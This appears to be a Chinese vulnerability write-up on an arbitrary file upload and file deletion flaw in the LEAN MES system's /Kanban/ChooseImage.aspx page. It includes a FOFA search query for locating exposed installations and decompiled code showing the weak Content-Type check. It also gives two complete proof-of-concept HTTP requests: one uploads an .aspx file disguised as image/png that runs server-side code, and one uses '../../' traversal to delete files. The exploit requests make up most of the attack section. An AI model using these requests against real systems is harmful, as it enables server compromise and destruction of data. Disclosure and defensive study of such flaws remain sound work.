深科特 LEAN MES系统 ChooseImage.aspx 任意文件上传/删除漏洞


漏洞简介

LEAN MES系统是由深圳市深科特信息技术有限公司开发的一款应用系统,主要用于生产调度、产品跟踪、质量控制等车间管理功能。LEAN MES精益制造执行系统通过强调制造过程的信息化和透明化,帮助企业由粗放式向精益化管理模式升级。该系统/Kanban/ChooseImage.aspx存在任意文件上传漏洞。攻击者可通过构造恶意请求,绕过文件类型或内容校验,上传恶意文件(如WebShell),实现任意命令执行,获取服务器控制权限,导致敏感数据泄露或系统被进一步攻击。

影响版本

fofa语法

(title="LEAN MES - 用户登录" && body="LEAN MES") || body="Content/js/skt.utility.checkmobile.js" || body="../MobileApp/VerifyError.aspx" || body="Content/login/login2/multiplant_top.png"

漏洞分析

根据 Kanban/ChooseImage.aspx 引用的代码逻辑,在bin目录找到SKT.LeanMES.Web.dll文件,在其中找到Kanban.ChooseImage的实现逻辑

文件上传

// 绕过点:仅检查 Content-Type 中是否包含 "image",非常脆弱
if (!this.impUpload.PostedFile.ContentType.ToLower().Contains("image"))
    this.Response.Write("<script>alert('请选择图片格式文件')</script>");
// ...
else
{
    // 漏洞点1:直接使用用户提供的文件名,未过滤 ".."
    this.Filename = this.impUpload.FileName;
    // 漏洞点2:直接拼接路径
    this.FilePath = this.Path + this.Filename;
    // 漏洞点3:将文件保存到可被遍历的路径
    this.impUpload.SaveAs(this.FilePath);
}

仅检查 Content-Type 中是否包含 "image"就直接保存上传文件到/OnlineService/KanbanImage/ 目录,从而造成任意文件上传。

文件删除

当hfOperate=delete时,直接删除imgName参数传递的文件路径,全程没有过滤或者校验,因此造成了任意文件删除漏洞。

漏洞复现

POST /Kanban/ChooseImage.aspx HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="__VIEWSTATE"

/xxx
------WebKitFormBoundary
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

xxx
------WebKitFormBoundary
Content-Disposition: form-data; name="__EVENTVALIDATION"

/xxx
------WebKitFormBoundary
Content-Disposition: form-data; name="imgName"

------WebKitFormBoundary
Content-Disposition: form-data; name="impUpload"; filename="1.aspx"
Content-Type: image/png

<%@Page Language="C#"%><%Response.Write(Guid.NewGuid().ToString("N"));System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
------WebKitFormBoundary
Content-Disposition: form-data; name="hfImgList"

[]
------WebKitFormBoundary
Content-Disposition: form-data; name="hfOperate"

-1
------WebKitFormBoundary--

在响应里回显上传完整文件名

上传文件默认位置在/OnlineService/KanbanImage/1.aspx目录

成功执行我们上传代码并删除自身

文件删除

这里以删除之前上传的文件 /UploadFiles/menuxml/1.png

POST /Kanban/ChooseImage.aspx HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="__VIEWSTATE"

/xxx
------WebKitFormBoundary
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

xxx
------WebKitFormBoundary
Content-Disposition: form-data; name="__EVENTVALIDATION"

/xxx
------WebKitFormBoundary
Content-Disposition: form-data; name="imgName"

../../UploadFiles/menuxml/1.png
------WebKitFormBoundary
Content-Disposition: form-data; name="impUpload"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundary
Content-Disposition: form-data; name="hfImgList"

[]
------WebKitFormBoundary
Content-Disposition: form-data; name="hfOperate"

delete
------WebKitFormBoundary--

再次访问404,可以发现文件被删除了


手机扫码阅读

深科特 LEAN MES系统 SetDataSource.aspx SQL注入漏洞

深科特 LEAN MES系统 AutoComplete.ashx SQL注入漏洞

评 论